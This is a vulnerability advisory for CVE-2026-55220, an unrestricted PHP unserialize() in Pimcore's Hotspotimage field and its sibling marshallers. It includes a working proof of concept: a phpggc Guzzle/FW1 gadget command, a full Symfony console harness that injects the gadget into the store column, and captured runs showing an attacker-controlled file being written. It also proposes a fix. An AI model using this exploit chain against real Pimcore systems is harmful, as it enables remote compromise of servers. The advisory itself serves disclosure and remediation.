CVE-2026-55220

Summary

Pimcore\Model\DataObject\ClassDefinition\Data\Hotspotimage::getDataFromResource() deserializes the *__hotspots object-store column through the Pimcore\Tool\Serialize::unserialize() wrapper without a class allowlist (the wrapper's $allowedClasses parameter defaults to true, i.e. fully unrestricted). Because the persistence layer always stores this column as PHP-serialize()d bytes, every load of a DataObject that has a Hotspotimage (advanced image) field runs an unrestricted unserialize() over the stored column value. An attacker who can write the *__hotspots store column with crafted serialized bytes achieves PHP Object Injection (CWE-502): arbitrary classes are instantiated and their magic methods (__wakeup/__destruct) execute, which is exploitable for remote code execution via gadget chains present in Pimcore's own bundled dependencies (e.g. guzzlehttp/guzzle).

The same field-data family also affects the sibling marshallers ImageGallery, Block, and Video, which use the identical json_decode(...) ?: Serialize::unserialize(...) fallback over their respective store columns. The root cause is shared: Serialize::unserialize() defaults to an unrestricted class list, and these callers pass no second argument.

Severity

High. Successful exploitation yields PHP Object Injection leading to remote code execution (proven below as arbitrary file write using a gadget from Pimcore's bundled guzzlehttp/guzzle 7.11.0). This is the deserialization leg of an attack: it requires the ability to write the *__hotspots object-store column with attacker-chosen serialized bytes. No class-allowlist defense is present, so any such write is directly weaponizable on the next object load. CVSS-wise this is comparable to other deserialization sinks over attacker-influenceable storage in this codebase.

Affected component

• File: models/DataObject/ClassDefinition/Data/Hotspotimage.php, method getDataFromResource().
• Vulnerable lines (v2026.1.4 / v12.3.8):

  $metaData = $data[$this->getName() . '__hotspots'];
  // check if the data is JSON (backward compatibility)
  $md = json_decode($metaData, true);
  if (!$md) {
      $md = Serialize::unserialize($metaData);   // unrestricted: allowed_classes defaults to true
  } elseif (is_array($md)) {
      $md['hotspots'] = $md;
  }
  

• Root enabler: lib/Tool/Serialize.php

  public static function unserialize(?string $data = null, array|bool $allowedClasses = true): mixed
  {
      if ($data === null || $data === '') { return $data; }
      return unserialize($data, ['allowed_classes' => $allowedClasses]);  // default true = unrestricted
  }
  

• Sibling marshallers with the identical fallback shape: ImageGallery, Block, Video (DataObject\ClassDefinition\Data).
• Package: pimcore/pimcore (Composer).
• Affected versions: all currently maintained releases, including the latest v2026.1.4 and v12.3.8 (verified against deployed v2026.1.4).

Data flow

1. On save, Hotspotimage::getDataForResource() stores the hotspot/marker/crop metadata as Serialize::serialize($metaData) into the <field>__hotspots object-store column — i.e. PHP serialized bytes, not JSON.
2. On load, Hotspotimage::getDataFromResource() reads that column, calls json_decode() (which fails for the serialized format), and therefore falls through to Serialize::unserialize($metaData) with the default unrestricted class list.
3. Serialize::unserialize() invokes unserialize($data, ['allowed_classes' => true]), instantiating any class named in the bytes and triggering its magic methods.
4. The load path is exercised on essentially every object retrieval (admin grid/detail, frontend rendering, Studio/API reads, inheritance walks) for objects whose class declares a Hotspotimage field, with a non-null <field>__image.

The attacker primitive is the ability to place crafted serialized bytes into the <field>__hotspots store column (for example through an SQL-write/store-write primitive). The defect is that the deserialization is performed with no class allowlist, so any such write is directly executable.

Proof of Concept

Verified end-to-end against a real, locally deployed Pimcore v2026.1.4 (Composer skeleton + MariaDB + pimcore:install), not a ported stub. The gadget is phpggc Guzzle/FW1 built against Pimcore's own bundled guzzlehttp/guzzle 7.11.0; its GuzzleHttp\Cookie\FileCookieJar::__destruct writes an attacker-controlled file to disk (a file-write primitive; the same surface reaches RCE via other vendored gadget chains).

Gadget generation (476→474 raw bytes, non-JSON so the unserialize fallback is taken):

printf 'PWNED_BY_DESERIALIZATION_%s' "$(date +%s)" > /tmp/ggc_local_src.txt
./phpggc Guzzle/FW1 /tmp/pimcore_pwned_hotspot.txt /tmp/ggc_local_src.txt | tr -d '\n' > /tmp/ggc_guzzle_fw1.ser
# stored bytes begin: O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{...

Reproduction harness (a Symfony console command living in the deployed app; it creates a real DataObject class with a Hotspotimage field, a real image asset, a real saved object, performs the attacker store-write into object_store_<id>.img__hotspots, then reloads the object through the real Pimcore model layer):

<?php
declare(strict_types=1);
namespace App\Command;

use Pimcore\Db;
use Pimcore\Model\Asset;
use Pimcore\Model\DataObject;
use Pimcore\Model\DataObject\ClassDefinition;
use Symfony\Component\Console\Attribute\AsCommand;
use Symfony\Component\Console\Command\Command;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;

#[AsCommand(name: 'e2e:hotspot', description: 'E2E CWE-502 Hotspotimage __hotspots unserialize')]
final class E2eHotspotCommand extends Command
{
    protected function configure(): void
    {
        $this->addOption('benign', null, InputOption::VALUE_NONE, 'negative control: benign JSON');
        $this->addOption('restricted', null, InputOption::VALUE_NONE, 'negative control: allowed_classes=false');
    }

    protected function execute(InputInterface $input, OutputInterface $output): int
    {
        $o = fn (string $m) => $output->writeln($m);
        $gadget = (string) file_get_contents('/tmp/ggc_guzzle_fw1.ser');
        $target = '/tmp/pimcore_pwned_hotspot.txt';
        @unlink($target);

        $o('=== STEP 1: create DataObject class with a Hotspotimage field ===');
        $class = ClassDefinition::getByName('E2eHotspot');
        if (!$class) {
            $class = new ClassDefinition();
            $class->setName('E2eHotspot');
            $class->setGroup('e2e');
            $field = new ClassDefinition\Data\Hotspotimage();
            $field->setName('img');
            $field->setTitle('img');
            $panel = new ClassDefinition\Layout\Panel();
            $panel->setName('Layout');
            $panel->addChild($field);
            $class->setLayoutDefinitions($panel);
            $class->save();
        }
        $o('  class id=' . $class->getId());

        $o('=== STEP 2: create image asset (Hotspotimage needs a valid __image id) ===');
        $png = base64_decode('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg==');
        $asset = Asset::getByPath('/e2e_pixel.png');
        if (!$asset) {
            $asset = new Asset\Image();
            $asset->setFilename('e2e_pixel.png');
            $asset->setParent(Asset::getById(1));
            $asset->setData($png);
            $asset->save();
        }
        $o('  asset id=' . $asset->getId());

        $o('=== STEP 3: create+save object carrying that image ===');
        $obj = DataObject::getByPath('/e2e_obj');
        if (!$obj) {
            $fqcn = '\\Pimcore\\Model\\DataObject\\' . $class->getName();
            $obj = new $fqcn();
            $obj->setKey('e2e_obj');
            $obj->setParent(DataObject::getById(1));
            $obj->setPublished(true);
            $obj->setValue('img', new DataObject\Data\Hotspotimage($asset));
            $obj->save();
        }
        $objId = $obj->getId();
        $store = 'object_store_' . $class->getId();
        $o('  object id=' . $objId . '  store=' . $store);

        $o('=== STEP 4: ATTACKER STORAGE-WRITE into img__hotspots column ===');
        $db = Db::get();
        $payload = $input->getOption('benign')
            ? json_encode(['hotspots' => [], 'marker' => [], 'crop' => []])
            : $gadget;
        $db->executeStatement('UPDATE `' . $store . '` SET `img__hotspots` = ? WHERE oo_id = ?', [$payload, $objId]);
        $stored = (string) $db->fetchOne('SELECT `img__hotspots` FROM `' . $store . '` WHERE oo_id = ?', [$objId]);
        $o('  stored prefix: ' . substr($stored, 0, 60));
        $o('  json_decode(stored) === null ? ' . var_export(json_decode($stored, true) === null, true) . '  (=> unserialize fallback)');

        $o('=== STEP 5: clear cache + reload object => getDataFromResource() ===');
        \Pimcore\Cache::clearAll();
        \Pimcore\Cache\RuntimeCache::clear();
        $o('  target file before load exists? ' . var_export(file_exists($target), true));

        if ($input->getOption('restricted')) {
            $o('  [negative control] fixed wrapper allowed_classes=false on the same bytes');
            $res = @unserialize($stored, ['allowed_classes' => false]);
            $o('  returned type=' . gettype($res) . ' class=' . (is_object($res) ? get_class($res) : 'n/a'));
            gc_collect_cycles();
        } else {
            try {
                $reloaded = DataObject\Concrete::getById($objId, ['force' => true]);
                $reloaded->getImg(); // triggers Hotspotimage::getDataFromResource() lazy load
                $o('  reloaded class=' . get_class($reloaded));
                unset($reloaded);
            } catch (\Throwable $e) {
                $o('  (post-unserialize downstream error, gadget already instantiated): ' . $e->getMessage());
            }
            gc_collect_cycles();
        }

        $o('=== RESULT ===');
        clearstatcache();
        if (file_exists($target)) {
            $o('  [VULNERABLE] gadget file WRITTEN: ' . $target);
            $o('  contents: ' . trim((string) file_get_contents($target)));
        } else {
            $o('  [NOT TRIGGERED] target file absent');
        }
        return Command::SUCCESS;
    }
}

Captured output — RUN A (positive, gadget):

=== STEP 1: create DataObject class with a Hotspotimage field ===
  class id=1
=== STEP 2: create image asset (Hotspotimage needs a valid __image id) ===
  asset id=2
=== STEP 3: create+save object carrying that image ===
  object id=4  store=object_store_1
=== STEP 4: ATTACKER STORAGE-WRITE into img__hotspots column ===
  stored prefix: O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:36:"\GuzzleHttp\
  json_decode(stored) === null ? true  (=> unserialize fallback)
=== STEP 5: clear cache + reload object => getDataFromResource() ===
  target file before load exists? false
  (post-unserialize downstream error, gadget already instantiated): Cannot use object of type GuzzleHttp\Cookie\FileCookieJar as array
=== RESULT ===
  [VULNERABLE] gadget file WRITTEN: /tmp/pimcore_pwned_hotspot.txt
  contents: [{"Expires":1,"Discard":false,"Value":"PWNED_BY_DESERIALIZATION_1780420803"}]

Captured output — RUN B (negative control, benign JSON in the column):

=== STEP 4: ATTACKER STORAGE-WRITE into img__hotspots column ===
  [negative control] storing benign JSON
  stored prefix: {"hotspots":[],"marker":[],"crop":[]}
  json_decode(stored) === null ? false  (=> unserialize fallback)
=== STEP 5: clear cache + reload object => getDataFromResource() ===
  target file before load exists? false
  reloaded class=Pimcore\Model\DataObject\E2eHotspot
=== RESULT ===
  [NOT TRIGGERED] target file absent

Captured output — RUN C (negative control, the fix: allowed_classes=false over the same gadget bytes):

=== STEP 4: ATTACKER STORAGE-WRITE into img__hotspots column ===
  stored prefix: O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:36:"\GuzzleHttp\
  json_decode(stored) === null ? true  (=> unserialize fallback)
=== STEP 5: clear cache + reload object => getDataFromResource() ===
  target file before load exists? false
  [negative control] fixed wrapper allowed_classes=false on the same bytes
  returned type=object class=__PHP_Incomplete_Class
=== RESULT ===
  [NOT TRIGGERED] target file absent

RUN A shows the attacker bytes drive unserialize() to instantiate the GuzzleHttp\Cookie\FileCookieJar gadget, whose destructor writes an attacker-controlled file. RUN B shows benign JSON takes the safe json_decode branch (no deserialization, no file). RUN C shows that performing the same deserialization with an allowed_classes allowlist returns an inert __PHP_Incomplete_Class and the gadget never runs — i.e. the proposed fix neutralizes the attack.

Impact

PHP Object Injection (CWE-502) on object load. With gadget chains available in Pimcore's bundled dependencies this is exploitable for remote code execution; the PoC demonstrates an attacker-controlled arbitrary file write via the bundled guzzlehttp/guzzle 7.11.0 FileCookieJar chain. Because the *__hotspots column is read on virtually every load of an affected object (admin UI, frontend output, API, inheritance resolution), any write of crafted bytes into that column is reliably executed.

Remediation

Make Serialize::unserialize() safe by default and/or pass an explicit class allowlist at the Hotspotimage/ImageGallery/Block/Video callers.

Preferred minimal fix at the wrapper (closes the whole Serialize::unserialize()-without-allowlist family in one place):

public static function unserialize(?string $data = null, array|bool $allowedClasses = false): mixed

(i.e. flip the default to false, requiring callers that legitimately need to revive objects to opt in with an explicit allowlist). Alternatively, change each affected marshaller to pass ['allowed_classes' => false] (or a tight allowlist such as [MarkerHotspotItem::class]) explicitly. RUN C above confirms allowed_classes deserialization renders the gadget inert. Fix PR (private temporary advisory fork): https://github.com/pimcore/pimcore-ghsa-w23p-wrp7-ch38/pull/1